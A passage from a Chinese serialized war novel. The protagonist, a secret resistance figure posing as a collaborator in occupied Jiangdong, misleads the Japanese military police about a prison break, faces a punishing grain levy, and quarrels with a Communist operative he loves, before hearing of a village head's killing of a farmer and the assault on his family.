他不多废话,随手从兜里摸出几块大洋便递过去分给值守的几个伪军。 “请弟兄们喝喝茶,大家辛苦了。” “谢谢李会长,谢谢李会长。” 几块大洋不算多,却足够让他在城门畅行无阻。 拿钱开路,省事省心,还省去无数的口舌,这向来是李二狗最惯用的手段。 能用大洋解决的麻烦,他从来不愿多费一句废话。 一众伪军收了李二狗的好处,笑得越发谄媚,连忙侧身让路,恭恭敬敬地目送他入城。 李二狗神色从容地走进了县城。 他一路直行,径直赶往县政府。 孙竹刚见到李二狗,眼中先是闪过一抹惊喜,随即神色瞬间凝重下来。 他连忙快步上前,反手关上办公室的房门,急切地说道:“二狗,你可算是来了,出大事了!” 李二狗笑道:“大哥,出什么大事了?看你这紧张的样子,咱们坐下来慢慢说。” 孙竹刚可没有李二狗那份淡定,他说话的声音都有些颤抖:“昨夜劫狱的事一出,日本人非常震怒,如今已经有些怀疑这事是清风集团干的。我估摸着,用不了多久,日军就会直接派兵进山清剿清风集团,你可得早做打算啊!” 第744章 大忽悠李二狗 孙竹刚满脸焦虑,他觉得清风集团此番定是在劫难逃,他不是担心清风集团的存亡,他是担心此事会连累到他。 可这一切早在李二狗的预料之中,这也是他此番进城的目的所在。 听完这番话,李二狗脸上没有丝毫慌张,仿佛孙竹刚刚刚述说的并不是什么生死攸关的大事,只是一件无关紧要的小事。 他神色坦然地说道:“大哥,我正是为这件事来的。我刚得到一条重要情报,要当面汇报给龟田一郎,劳烦你陪我去一趟宪兵队。” 孙竹刚彻底懵了。 日本人马上就要出兵清剿清风集团,这是性命攸关的事情,正常人此刻该想办法自救才对。可李二狗不仅一点不着急,反倒要主动跑去宪兵队,给日本人汇报情报? 他一时摸不透李二狗的心思,甚至怀疑自己听错了,连忙再次提醒道:“二狗!你听清我说的话没有?日本人已经怀疑你们了,马上就要清剿清风集团!你还有心思去汇报情报?赶紧想办法保命要紧啊!” 李二狗脸上挂着一贯淡然从容的笑意。 “大哥,你忘了?我早就被清风集团赶出来了,日本人清剿他们,不会连累到我,更不会连累到你。” 孙竹刚知道李二狗退出清风集团是障眼法,他不可能看着清风集团被日本人清剿而无动于衷。 “二狗,话虽如此,可清风集团一定不能失去啊。” 李二狗笑道:“大哥,我现在做的,就是我想好的对策啊。” 孙竹刚满脸茫然地看着他,一头雾水。 “什么办法?你倒是说啊!” “我方才已经说了。”李二狗依旧保持着惯有的笑容,“我有一个重要情报,要亲自向龟田一郎汇报。” “到底是什么情报?”孙竹刚追问道。 “昨夜有很多人亲眼看见有大批国军队伍突然进入江东地界,还在乡下到处抓捕壮丁,如今乡里人心大乱,好多青壮年都纷纷躲藏逃命去了。” 孙竹刚满脸的难以置信。 这年头国军早就全线溃败,一路南逃,江东地界早已多日不见国军踪影,怎么会突然冒出大批国军? 他短暂错愕之后,脑子飞速一转,瞬间幡然醒悟,这次看懂了李二狗的布局。 他瞬间明白了,这根本不是什么真情报,这是李二狗精心布下的障眼法! 目的就是凭空制造一个昨晚攻打县城的嫌疑对象,彻底转移日本人的注意力,把昨夜打县城劫狱闹事的黑锅,从清风集团身上,彻底甩到国军头上,借此洗清清风集团的所有嫌疑! 想通这一层,孙竹刚心里又惊又佩,忍不住低声提醒道:“二狗,这法子虽好,可太险了!日本人精明狡诈,可没那么好糊弄,凭空捏造国军入境,他们未必会信啊!” 李二狗一副胸有成竹的样子。 “眼下整个仙人洞镇,,所有人都说亲眼看见了国军,相信用不了多久,这个消息就会传遍整个江东县。至于日本人信不信,咱们暂且不管,现在只需把实情上报,其余的,只好听天由命了!” 李二狗心里清楚,日本人必然会信。 江东地处三省交界之地,境内群山连绵、山高林密,地形极其复杂,大大小小的山林不计其数,隐蔽性极强。 而日军入驻江东的兵力极其有限,管控范围极小,只能勉强守住县城及为数不多的几个炮楼据点。 广袤的山野乡村、深山密林,日军根本无力覆盖管控,更没有能力深入排查。 江东地界藏几支队伍,过一批人马,日本人压根无从查证。 再加上昨夜的行动规模极大,组织调度非常有序,绝非寻常山寨土匪的散乱打法。 日本人只是一时猜测是清风集团所为,心里并不能确定。 如今有了大批国军入境的消息,正好给了他们一个合理的解释。 再加上正逢乱世,百姓犹如惊弓之鸟,一听到国军抓壮丁的消息,不管真假肯定会全盘相信。 人人都说看见了,愚蠢自负又缺乏实地情报的日本人,必然会相信这套说辞。 孙竹刚心中满是佩服,当即点头道:“好!事不宜迟,我们现在马上去宪兵队!” 二人即刻动身,直奔日军宪兵队。 此刻的宪兵队大院里,气氛压抑到了极点,满院日军士兵个个神色紧绷。 队长龟田一郎刚刚被上级长官狠狠地训斥了一顿,挨了一通劈头盖脸的怒骂,脸面尽失,一肚子火气无处发泄,整张脸涨得通红。 见孙竹刚进门,龟田一郎当即怒火上涌,指着孙竹刚,用生硬的中文厉声怒骂道:“孙县长!昨夜在你的管辖地界,发生如此恶劣的暴动劫狱案件!我宪兵队关押的重犯全部被人救走,你们地方政府和警察局,竟然连一个敌人都抓不到!你们统统都是废物!一群没用的废物!” 自从当上伪县长之后,挨骂早已成了常态,孙竹刚早就练就了一身隐忍的本事。 面对龟田一郎的怒骂,他神色如常,垂手躬身,一直等对方骂完,才轻声说道:“龟田队长请息怒,都是卑职的无能。不过李会长得到一条重要情报,特意前来向您汇报。” 龟田一郎闻声,抬眼看向一旁站立的李二狗。 在他印象里,李二狗向来办事稳妥,是为数不多靠谱的维持会会长。 他压下心头怒火,沉声问道:“李会长,你有什么重要情报?” 李二狗立刻换上一副恭顺谄媚的笑容,躬身说道:“报告龟田队长,昨夜仙人洞镇的百姓,亲眼目睹有大批国军队伍路过,他们人数极多,声势不小,而且还大肆抓捕壮丁,如今乡里人人惶恐,青壮年纷纷出逃躲藏,民心大乱。卑职得知消息,不敢耽搁,立刻赶来向皇军汇报,恳请龟田队长定夺!” “国军?!” 龟田一郎闻言整个人瞬间愣住,满心的难以置信。 自打日军攻占江东以来,国军残部早已四散溃逃,怎么会突然有大批国军潜入江东境内? 第745章 我要谢谢你 龟田一郎连忙追问道:“李会长,你能确定是国军队伍吗?” 李二狗十分笃定地说道:“龟田队长,千真万确,好多百姓亲眼所见,绝对不会有错。如今乡间人心惶惶,还请龟田队长尽快派皇军前去核查清楚,以安定地方局势!” 李二狗脸不红心不跳,一番话说得有鼻子有眼。 龟田一郎站在原地,眉头紧锁,脑子里飞速回想着昨夜发生的那场暴动。 昨夜攻击县城劫狱的人,相互配合默契且进退有度,敢于强攻日本人重兵把守的县城,绝非一般散兵游勇所为。 之前他先入为主,下意识地认定是清风集团的土匪所为,可此刻细细回想,瞬间就推翻了自己之前的判断。 在他眼里,清风集团只不过是一群窝在深山老林里的乌合之众,一群根本没受过任何正规训练的散兵游勇,他们顶多就是打家劫舍,哪里有胆子敢公然攻打县城,劫取大牢重犯? 他们绝对没有这份胆量,更没有这份实力! 如此周密的武装攻城行动,必然是正规军才能做得出来! 这么一想,所有的疑点瞬间全部通顺了。 必然是蛰伏在外的国军残部,悄悄潜回了江东地界! 宪兵队大牢里一定关押着国军的重要人物,所以他们才会不惜一切代价强攻县城、劫狱救人! 只可惜如今所有犯人已被尽数救走,线索全无,已然无从追查。 想通这一切,龟田一郎彻底被李二狗的障眼法蒙在了鼓里。 他当即对着孙竹刚下令道:“孙县长!你立刻调动所有警力下乡彻查!务必查清入境国军的人数和去向,不得有误!” “是!卑职定当竭尽全力,不负龟田队长所托!” 孙竹刚躬身领命,神色恭敬。 之后二人辞别龟田一郎,转身走出宪兵司令队。 踏出大门的那一刻,两人对视一眼,眼底皆是了然的笑意,一切尽在不言中。 日军彻查国军的命令一下,所有的注意力都会被彻底转移,再也无人关注清风集团。 李二狗此番布局,轻巧地化解了一场足以覆灭整个清风集团的灭顶之灾。 至于最终的调查结果如何,一切都由孙竹刚说了算。 “大哥,接下来一切都靠你了。” “大家都是自家兄弟,你还和我这么客气干什么?我看时间也不早了,你今晚就别走了,住我家里,我让你嫂子包海鲜馅的饺子给你吃。” 李二狗心里惦记着宋小曼,想尽快赶回仙人洞,虽然很想吃海鲜馅的饺子,还是坚决地推辞道:“大哥,家里还有很多事等我回去处理,咱们还是下次吧。” 孙竹刚知道李二狗事情多,便没有继续勉强。 “那好,大哥我就不留你了,等忙完这阵子,咱们兄弟再好好喝一气。” 李二狗告别孙竹刚,马不停蹄地赶回仙人洞。 他没有回胡家大院,而是回到自己的家,他知道,宋小曼肯定在等着自己。 到家时,天色已经完全黯淡下来,李二狗买了一些熟食,还特意买了一瓶上好的兰陵美酒,他记得宋小曼是能喝一些酒的。 李二狗刚走到院门前,便闻到一股浓浓的烟雾味,他心里一惊,难道家里着火了? 他赶紧敲门。 “小曼,小曼……” “咳,咳,咳……” 院子里传来宋小曼的咳嗽声,烟雾味更浓了。 “小曼,快开门,我是二狗。” 院门打开了,宋小曼头上顶着一条洁白的毛巾,满脸烟灰,被烟呛得眼泪横流。 “你这是怎么了?”李二狗边说边跑进了院子。 “我想烧火煮点稀饭,没想到……” 李二狗进入厨房,看到里面一片狼藉,灶膛里的柴火已经烧了出来,他赶紧上前用脚踩灭。 他相信,如果自己再晚来一会儿,这里非被她点着不可。 “对不起,我不会烧火做饭。”宋小曼尴尬地说道。 李二狗笑道:“这事不怨你,怨我考虑不周全,你这一天都没吃饭吗?” 宋小曼不好意思地说道:“我睡了一天,醒来后想做点饭吃,没想到就弄成这样了。” 李二狗把灶膛里的火熄灭之后,站起来拍了拍手,说道:“我买了一些吃食回来,你快去洗漱一下好吃饭,看你的脸都快成小花猫了。” 宋小曼摸了摸自己滚烫的脸蛋,羞涩地跑开了。 她洗漱完毕,来到餐厅,李二狗已经把买回来的菜摆好,并在每个人面前摆了一个玻璃酒杯。 他试探着问道:“喝一杯庆祝庆祝?” 宋小曼一时没反应过来,问道:“庆祝?庆祝什么?” 李二狗笑道:“庆祝你恢复自由,庆祝我们救出了那么多抗日志士,庆祝我们狠狠地打击了日本鬼子的嚣张气焰,庆祝……该庆祝的一切。” 李二狗不仅救出了自己,还冒险救出了那么多的抗日志士,这说明他是一个有良知有正义感的人,他的行为符合组织团结一切可以团结的力量共同抗日的主张。 宋小曼愉快地说道:“好,那就喝一杯庆祝庆祝。” 李二狗闻言,喜不自胜,赶忙拿起酒瓶把两人面前的酒杯斟满。 李二狗尚未说话,宋小曼已经端起酒杯,抢先说道:“二狗,我要谢谢你。” “小曼,你不用……” “二狗,你先听我把话说完。” 李二狗闭住了嘴,静静地听着宋小曼说话。 “从我入狱的那一刻起,其实我是非常绝望的,我知道在江东,组织根本不可能把我从日本人的大牢里救出来。” 宋小曼忍住哽咽,继续说道:“但我心中又隐隐有一个期待,就是这个期待让我没有选择在狱中自我了结。” 虽然宋小曼没说她心中的这个期待是什么,但李二狗已然明白是什么。 他忍不住自责道:“是我去晚了,让你受了那么大的苦。” “这怎么能怪你呢?你能知道我被关押在哪里就已经很了不起了,我根本没想到你能把我从日本人的大牢里这么顺利地救出来。” 第746章 征粮告示 李二狗只是微微一笑,在别人眼中天大的难事,在他看来,也许并不是什么大不了的事情。 “小曼,别说是日军宪兵队大牢,就是他们把你关在阎罗地府,我也一定会想办法把你救出来。” 宋小曼虽然已不是十几岁的无知少女,但还是被李二狗的这番说辞感动得涕泪涟涟。 “二狗,你真厉害,这杯我干了,你随意。” 宋小曼说完便一饮而尽,李二狗都没来得及阻止。 “小曼,你身上有伤,不能喝这么急。” 宋小曼不以为意地说道:“这点伤算得了什么?” “你难道还受过更严重的伤吗?” “那都是过去的事了,”宋小曼神色一凛,“二狗,有件事我一直想不明白,你如此的有正义感,为什么不加入我们组织呢?我们可以一起打鬼子啊。” 李二狗心中一直对当年自己在鄂豫皖根据地的见闻耿耿于怀,他不怕敌人的凶狠残暴,但怕自己人在背后捅刀子。 “小曼,我现在就在打鬼子啊,为什么非要加入你们才能打鬼子呢?中国难道只有你们在打鬼子吗?” 一句话噎得宋小曼哑口无言。 “二狗,你是不是对我们组织有什么误解?为什么就不能接受我们呢?” 李二狗还是保持着惯常的笑容。 他心想,明明是你们想要收编我的队伍,以此来壮大自己的力量,现在却反过来质问我为什么不能接受你们,我为什么要接受呢? 一千多号人的队伍,掌握在自己手中,不是更有利吗? “小曼,我对你们并没有任何误解,只是我对成为你们并没有什么兴趣罢了。” “为什么?” 宋小曼一直觉得,每一个有正义感的人都难以拒绝组织的召唤。 李二狗还是不急不躁地说道:“这些年在社会上摸爬滚打,见惯了尔虞我诈,也见惯了打打杀杀,它们都使我明白了一个道理。” “什么道理?”宋小曼追问道。 “允许自己做自己,也允许别人成为别人,我们没有理由要求别人和我们做一样的事情。” “可要打败日本侵略者需要我们每一个中国人都团结起来,现在这样就是一盘散沙,怎么能打败日本侵略者呢?你个人的力量毕竟是有限的!” 李二狗内心很不服气,自己刚刚救了她,她却说力量是有限的,那你们组织为什么不来救你呢? 但这些话,李二狗只能心里想想却不能说出来,说出来伤感情。 “小曼,不管加入你们还是不加入你们,都不是我一个人能说得算,我们集团有寨务会,我需要和兄弟们商量之后再做决定。” 宋小曼锲而不舍地追问道:“那得多久?” 李二狗本是敷衍之辞,没想到宋小曼竟如此执着。 “给我七天时间吧,七天之后我给你回复。” “好,我等着。” 李二狗来之前本来准备了很多说辞,他想和宋小曼度过一个浪漫而又难忘的夜晚,可此时,他已经完全没有了兴致。 两人吃过饭之后,李二狗便起身告别,宋小曼并没有挽留。 第二天一早,县政府派人来到胡家大院,通知李二狗下午两点到县政府开会。 李二狗问什么事,来人并不知道,只是告诉李二狗,不要迟到,宪兵队长龟田一郎要亲自出席会议。 李二狗知道,龟田这孙子亲自出席的会议肯定不是什么好事。 为了方便工作,县政府给每一个乡镇维持会长配备了一辆自行车。 李二狗并不喜欢骑自行车,感觉没有骑马威风,但为了不表现得与众不同,他也选择了骑自行车。 李二狗像往前开会一样提前来到县政府。 “大哥,这次开会这么急,是有什么紧急的事吗?” 孙竹刚一脸愁容。 “日本人要征粮!” “征粮?怎么征?” “原来要缴纳的税费不变,然后再按人头征收,数量是多少目前还不清楚。” 李二狗不用知道具体数量也知道农民肯定承受不起。 “大哥,交完各项税费之后,农民手里本来就剩不下多少粮食,现在如果再征收,他们无法活了。” “你说的这些我都知道,可这是日本人要求的,我能有什么办法?” “日本人这是疯了吗?这是要逼死人的节奏啊。” 孙竹刚哀叹道:“日本人短短时间内把战线拉得这么长,后勤补给根本跟不上,他们只能压榨咱们。” “大哥,我觉得很难完成日本人的这个要求。” 孙竹刚忍不住又是一声叹息:“谁说不是呢!我就怕完不成日本人征粮任务,板子得打在咱们身上。” 李二狗不管板子打不打在自己身上,他心中已经决定绝对不能按照日本人的要求去征粮。 下午两点,龟田一郎准时出现在会议室。 他脸上挂着笑,摆出一副很和善的样子。 “孙县长,你来给大家传达一下这份征粮告示吧。” 龟田一郎把一份文件推到孙竹刚面前。 孙竹刚接过文件看了一眼,脸色更加阴沉。 “大日本驻江东宪兵队谕令: 值战时非常之时,军需紧迫,供需吃紧。即日起,本区域所有乡民住户,原有田赋、杂税、公粮分文粒米不得减免,照旧足额缴纳。 除正项税粮外,每户按实有人口核算,每口加征粮食二十公斤。无论男女老幼、病弱残孤,一概计入丁口,无半分豁免余地。 各乡镇维持会、各村保长务必逐户清查人口,据实登记,不许隐匿、不许瞒报、不许顶替。所缴粮米须颗粒饱满、干净干燥、无霉无杂,凡掺沙、潮湿、劣坏、敷衍应付者,一概驳回重缴,并从重治罪。 此次加征为军令硬性摊派,限期七日之内全数缴齐入库。 敢有拖延、抗拒、藏匿粮食、私藏不报者,一经查出:抄粮、罚粮、锁拿严惩,连带会长、保长同罪处置,绝不姑息,绝不宽赦! 皇军军令如山,违令者严惩不贷! 全体乡民,凛遵勿违! 大日本驻江东宪兵队 昭和1938年1月12日。” 第747章 手足无措 孙竹刚读完这份征粮告示,会场鸦雀无声。 此时正值隆冬时节,正是青黄不接的时候,家家户户的粮食都不够吃,即使把预留的种子都交上也绝对凑不够每户所需缴纳之数。 如果严格按照告示执行,江东必将哀鸿遍野。 龟田一郎见大家都保持着沉默,心中不免有些吃惊。 他原本以为大家会齐声反对,没想到竟是这般安静。 其实之所以这般安静,并不是大家没有意见,而是大家多次参会之后得出的经验教训。 他们都知道日本人的揍性,即使大家全部反对,也丝毫改变不了日本人的决定,而且还会得到他们的一顿呵斥。 久而久之,无论日本人发布什么样的命令,他们都刻意保持着沉默。 龟田一郎押了一口茶,一字一句地说道:“七日之内,各乡镇必须完成征粮任务,否则,全部关进宪兵队大牢。” 孙竹刚终于忍不住说道:“龟田队长,七日是不是太短了?能不能多宽限一些时日。” 龟田一郎皮笑肉不笑地说道:“孙县长,七日已经不少了,你能忍心让我们大日本皇军饿着肚子和你们中国士兵打仗吗?” “可……” “孙县长,”龟田一郎不等孙竹刚说完便抢先打断了他:“皇军的命令没有任何讨价还价的余地,七日之内必须完成!” 龟田一郎说完就站起身离开了会议室。 龟田一郎刚一离开,会议室顿时便炸开了锅。 “孙县长,每人缴纳二十公斤粮食?这不是要人命吗?” “孙县长,这征粮任务绝对完成不了!” “孙县长,这个维持会长我干不了了!” “对,我也干不了!” …… 正在气头上的孙竹刚猛地一拍桌子,大声呵斥道:“刚刚龟田队长在的时候,你们一个屁都不敢放!现在他走了,你们倒把气都撒老子头上了!那老子的气找谁撒去?谁要辞职,自己去找日本人说去!” “孙县长,我们不是向您撒气,只是这每人二十公斤粮食的任务怎么可能完成嘛?现在家家户户都揭不开锅了。” “是啊,这不是把人往死里逼吗?” 孙竹刚何尝不知道这是把人往死里逼,可他又能有什么办法! “如果家里没有粮食就交大洋,县政府可以替他们去买粮食。” 李二狗听了心里直骂娘希匹! 如果家里有大洋,又怎么会没有粮食? “孙县长,真按每人二十公斤粮食征收?” 孙竹刚质问道:“那你有别的办法吗?你们谁有别的办法,说出来,我听你们的。” 众人全部闭了口。 “大家把告示拿回去,抓紧到各村张贴,你们也听见了,龟田队长只给了七天的时间,到时候完不成任务,你我都得进宪兵队大牢,那里面什么样,不用我多说了吧?散会!” 众人骂骂咧咧地走了,只剩下孙竹刚和李二狗二人。 “二狗,这事你怎么看?” 这是孙竹刚遇到难题时的经典言辞,遇事不决问二狗,可李二狗一时也是没有好办法。 完不成任务就要被关进宪兵队大牢他倒并不害怕,因为他完全可以一走了之。 可自己走了,日本人就不征收了吗? 他们会换个人来接着征收,到头来受苦的还是老百姓。 李二狗知道,非常时期,老百姓家里肯定会储备一些粮食,以备不时之需。 但那些粮食不是预留的种子就是关键时刻拿来救命的救命粮,不到万不得已,他们绝对不会轻易拿出来。 平日里他们都是靠着粗粮、野菜艰难度日,根本舍不得吃小麦等金贵的粮食。 可就是往死里逼他们拿出来,一个四口之家就得一次性缴纳八十公斤粮食,大多数家庭是没有这么多存粮的。 即使能凑出来,他们接下来又怎么熬过这个冬天? “大哥,这事弄不好,会出乱子的。” 这正是孙竹刚担心的,大多数维持会长并不像李二狗这样,他们是真心实意给日本人当狗,如果把他们逼急了,他们可是什么事情都对老百姓做得出来。 李二狗作为仙人洞镇维持会会长,只能先想办法解决仙人洞镇的事情,至于其他乡镇,他也只好爱莫能助了。 孙竹刚倒并不关心老百姓的生死,他关心的是能不能按时把粮食收上来。 “我又何尝不知道这个道理,哎,现在只能走一步看一步了。” 李二狗回到胡家大院时天色已经完全黯淡下来,他吩咐张二驴马上派人去通知各村保长明天上午七点到胡家大院开会。 安排完之后,他本想去找宋小曼聊聊心事,但上次的事还是令他耿耿于怀,便只好作罢。 躺在床上,辗转反侧,一直到天亮都没睡着。 他没有吃早饭,精神疲惫地来到大堂,各村保长都已经到了。 仙人洞镇一共有八个村,八个保长都是李二狗精心挑选之人。 当李二狗把日本人的告示内容告知众人之后,不出所料,群情激愤,大家纷纷问候龟田一郎的十八辈祖宗。 “狗哥,日本人这是不让咱们活了,干脆反他娘的!” “是啊,日本人简直是欺人太甚!” “我早就受够了!” …… 看着众人一个个脸红脖子粗的放狠话,却拿不出一个切实可行的办法,李二狗脸色有些难看。 他一直信奉不为困难找借口,只为解难想办法的原则,如果抱怨能解决问题,他比谁都会抱怨,可这时候只抱怨有个鸟用? 带领一帮手无寸铁的农民反抗武装到牙齿的日本鬼子?那不是找死吗? “好了,都别扯淡了!今天把大家叫来,是让大家一起出出主意怎么对付日本人,不是来听你们抱怨的。” 一说到出主意,大家都沉默了,纷纷低着头不说话。 李二狗接连点了三个人的名字,他们都把头摇得和拨浪鼓似的。 这一次,李二狗真正遇到了令他完全手足无措的难事。 征还是不征,都是个难题。 “大家先回去把日本人的告示贴上,后续怎么办,再等我通知,都散了吧。” 众人散去之后,李二狗陷入沉思。 一直沉思到夜幕降临,也毫无头绪。 第748章 心底的挂念 夜里的风刮得有点急又有点凉,彻骨的寒冷。 李二狗随手抓过搭在炕边的一件粗布棉大衣,往身上一披,扣扣子的手都有些漫不经心。 这几日因为收编清风集团的事情,他跟宋小曼置气,两个人僵着脸面,已经两天没见面了。 李二狗生气的不是收编,而是宋小曼利用两人的关系。 在他心中,感情是感情,收编是收编,两者之间不能有任何的牵扯,不然就是对感情的亵渎。 可李二狗心里也清楚,他们之间的这点别扭根本压不住彼此心底的挂念。 脚步仿佛不受自己脑子使唤似的,李二狗出了胡家大院的院门,拐过两道胡同,自然而然就停在了自己家门口。 这两天虽然忙,可他心里头一直搁着事。 这两天两人冷战,他没过来照顾,宋小曼又是个不肯低头的女人。 她身上还带着没好利索的伤,身子本就虚,这两天一个人住着,怕是连口热乎的饭菜都没能吃上。 说到底,俩人拌嘴置气,都是因为收编的事。 可再大的火气,也抵不过实打实的人心挂念。 李二狗分得清轻重,自己生气是小事,可她的身子才是大事。 他纵然心里还憋着几分不悦,可一想到宋小曼孤零零一个人待在院子里,饿着肚子,身上还带着伤,心里那点火气瞬间就散得干干净净,只剩下一份沉甸甸的担忧。 他站在黑漆漆的大门外,抬手轻轻地敲了敲院门。 “笃,笃,笃……” 敲门声不算重,夜里安静,足够院里的人听见。 可他敲了好几下,院里竟然一点动静都没有。 他把耳朵贴在门上,院子里面一点声响都听不见。 李二狗微微皱眉,又抬高了一些力道,继续敲门,嘴里出声喊着:“小曼,我是二狗,你开开门。” 他耐着性子站在门口,一下又一下地喊,一声接着一声,夜色深沉,他的声音在空荡的巷子里飘散开,却始终得不到半点回应。 巷子里的冷风一阵阵吹过来,刮得院门口的枯枝轻轻晃动,四下里静得吓人。 这个时辰,就算睡熟了,接连的敲门声也该把人吵醒了,可这院子里,自始至终死寂一片。 李二狗心里渐渐发慌,脚步往前凑了凑,弯腰趴在门缝上,眯着眼睛往里细看。 院子里黑漆漆的一片,看不清全貌,可他看得真切,那扇院门的木插销,是从里面牢牢插上的。 门从里头锁着,说明人肯定在家,可宋小曼为什么不应声? 难道还在生自己的气? 可不应该啊! 是她想打感情牌来收编自己的队伍,按理说应该是自己生气才对。 难道她出事了? 这一下,李二狗心里的慌意彻底涌了上来,再也稳不住心神。 他来不及多想,后退两步,抬头看着不算高的院墙。 凭着一身常年练出来的利落身手,他脚下轻轻一蹬,双手扒住墙头,翻身上墙,轻巧地一跃,稳稳地跳进院子里头。 落地的声响很轻,可偌大的院子依旧静悄悄的,没有半点人声。 “小曼,你在家吗?我是二狗。” 他站在院子中央,再次开口喊了一声,声音比刚才更急了一些,目光快速地扫过厢房、柴房,把整个院子打量一番。 回应他的,只有呼呼的风声,以及风吹过院角杂草的细碎声响。 李二狗的心一下子沉了下去,脑子里瞬间冒出无数种不好的念头。 她能去哪? 这两天他俩一直僵着,李二狗忙着征粮的事情也没来得及看她,莫不是真的因为跟自己置气,她觉得心里委屈,索性出门走了? 可她身上的伤还没养好,尚在恢复期,稍微劳累一些都会受不住。 她一个女人家,身子虚弱,又是孤身一人,这天寒地冻的深夜,能往哪里去呢? 最让他直冒冷汗的,是盘踞在江东地界的日本人。 前几天她才被日本人抓走,险些落个身首异处的下场。 自己冒着生命危险才把她从日军宪兵队大牢里救出来,如今她孤身外出,万一再撞上日本人,再被他们抓回去,那真是想救都来不及了,后果根本不敢去想。 一想到这里,李二狗心里又急又躁,满心都是后怕和焦灼。 他踩着冰凉的青砖,径直走向正中的堂屋。 伸手一推,堂屋的木门虚掩着,应声而开,屋里黑漆漆的,没有一点光亮,暗沉得让人心里发堵。 屋内的寒气比外头更重,闷得人胸口发沉。 李二狗摸出口袋里揣着的一盒火柴,指尖划过粗糙的火柴盒,抽出一根,“嚓”的一声划亮。 微弱的火苗骤然亮起,小小的一点光亮,勉强破开了满屋的黑暗。 他抬手护着摇曳的火苗,避免被穿堂风吹灭,伸手点亮了桌案上那盏老旧的煤油灯。 昏黄的灯光缓缓散开,一点点照亮整个堂屋的陈设,木桌木椅和柜橱,一切都跟平日里一模一样,规整干净,就是透着一股子空落落的冷清。 灯光落下去的瞬间,李二狗一眼就看见了堂屋正中的八仙桌。 平整的桌面上,正放着一张叠得整整齐齐的白纸。 他心里猛地一跳,立刻快步上前,一把将那张纸抓了起来。 指尖触到薄薄的纸页,他心头慌乱,连忙展开细看,果然是宋小曼留下的字迹。 一笔一画,清清爽爽,是她惯常的笔迹。 上面简简单单写着几行字:二狗,我有事需要出去几日,你不用担心,我会保护好自己。那晚和你说的话,请你一定认真考虑,我等着你的答复。勿念,宋小曼。 短短几行字,不算长,却像一颗定心丸,瞬间压下了李二狗心头翻涌的慌乱和焦灼。 他反复把这几句话看了两遍,紧绷的身子终于稍稍松弛下来,悬在半空的心轻轻落地。 还好她不是赌气走了就不回来,也不是一时觉得委屈离家出走,只是临时有事外出几日。 她还记着那晚俩人聊的话,还在等着他的答复。 一想到宋小曼是因为收编清风集团的事才回来,李二狗心里就很不是滋味。 第749章 李二狗有这个实力! 不过李二狗心里也在暗暗告诫自己,只要宋小曼还会回来就好。 李二狗知道宋小曼加入的共产党纪律严格,它们提倡的是一夫一妻制,所以宋小曼不可能选择和李二狗在一起。 可明知不能在一起,李二狗还是割舍不下这份感情。 得不到的才是最好的,这句话放之四海而皆准。 他小心翼翼将纸叠好,揣进贴身的衣兜里,像是揣着一份安稳。 随后他抬脚走向宋小曼居住的西厢房。 推开房门,屋里还留着她生活过的痕迹。 干净的被褥,整齐摆放的物件,处处都是她的气息。 那是一种清清淡淡、温温柔柔的味道,不张扬,却很让人安心,萦绕在鼻尖,驱散了他连日来的烦躁和心慌。 许是连日操心太过疲惫,又或是这屋里独有的气息让人身心放松,李二狗只觉得浑身疲累,眼皮渐渐发沉,泛起一股浓浓的困意。 他没有多想,径直走到床边,小心翼翼地躺了下去。 被褥上仿佛还残留着淡淡的余温,满是宋小曼的味道。 他轻轻地闭上眼睛,周围静悄悄的,恍惚之间,竟像是宋小曼就躺在他身侧,离得极近,连呼吸声都清晰可闻,真切得不像是错觉。 连日来心里压着的烦心事,在这一刻尽数散去,他整个人难得踏实下来,意识渐渐开始变得模糊,慢慢陷入了昏昏沉沉的睡意里。 就在他迷迷糊糊快要彻底睡熟的时候,院门外突然传来一阵急促而又慌乱的敲门声,咚咚咚的声响又急又重,打破了深夜的寂静。 紧跟着,外头传来张二驴的喊声:“狗哥,你在家吗?” 声音里透着慌张,语气非常急切,一听就是出了急事。 李二狗瞬间从朦胧的睡意里惊醒,脑子一下子清醒了大半,没有半点迟疑,他立刻翻身下床。 他心里清楚,张二驴向来做事有分寸,若是寻常小事,他绝不会深更半夜跑来打扰。 这深更半夜登门,必定是出了天大的急事,容不得半点耽搁。 他快步走出厢房,穿过堂屋,几步就冲到院门口,一把拉开院门。 冷风猛地灌了进来,吹得人心头一凛。 眼前的张二驴满身风尘,数九寒天的冷夜里,本该冻得人手脚僵硬,可他额头上却布满了密密麻麻的汗珠,顺着两边的鬓角往下淌。 一看他这模样,李二狗心里瞬间一沉,当即开口直问道:“二驴,出什么事了?” 张二驴喘了两口粗气,压下心头的慌乱,声音急促地说道:“狗哥,凤凰镇出事了,出大事了!” 李二狗眼神一凝,瞬间正色起来。 日本人占领江东之前,凤凰镇和仙人洞镇这两个地方的治安,向来都是由胡家大院的民团一手管理。 镇里的秩序、乡里的纠纷全靠民团维持,多年来一直井井有条。 可自从日本人占领了江东之后,就下达了一道命令,严禁地方私自组建民团。 没办法,胡家大院原本操练精良的民团队员,只能尽数解散,改头换面,成了胡家大院的家丁。 他们只能守着胡家大院,不好再插手凤凰镇上的事。 日本人在凤凰镇设立了治安维持会,任命了新的维持会会长。 打那以后,凤凰镇的治安管控就彻底脱离了胡家大院的掌控,全归当地治安维持会管,说白了,就是归日本人管。 这治安维持会本就是为日本人跑腿办事的汉奸机构,如今深夜出事,定然和他们脱不了干系。 李二狗盯着张二驴,声音低沉,再次追问道:“到底出什么事了,你说清楚一点。” 张二驴眼里满是怒火,语气带着压不住的戾气,一字一句地说道:“大田庄的保长,活活打死了一个老百姓!” 李二狗没想到这么快就出事了,肯定是因为征粮的事情,但他还是惯性问道:“因为什么?” “那户人家只是不肯交粮,觉得日本人这次征收的粮食太多了,他们家实在拿不出粮食来,所以就稍稍抗拒了几句。结果那个保长蛮横不讲理,当场就动手打人,那户人家也是暴脾气,双方就打了起来。保长本来怕村民闹事,所以带了几个狗腿子去,他们仗着人多势众,直接把人活活打死了!” 李二狗气得痛骂道:“畜生!” “这还不算完!他打死人家男人,还丧尽天良,糟蹋了死者的老婆和闺女!这母女俩受了天大的屈辱,清白尽毁,实在活不下去,最后双双上吊自尽了!” 这番话一字一句落进李二狗的耳朵里,像是平地里炸响了一道惊雷。 李二狗只觉得脑子里“嗡”的一声,瞬间一片空白,浑身的血液都像是骤然凝固,紧跟着便是一股滔天怒火,从心底猛地窜了上来,顺着血脉直冲头顶。 这几年他走南闯北,见惯了乱世里的疾苦,也见过恶霸横行,可从来没见过这般灭绝人性、丧尽天良的畜生行径! 乱世艰难,百姓本就苟延残喘,日日熬苦日子,只求平安活命。 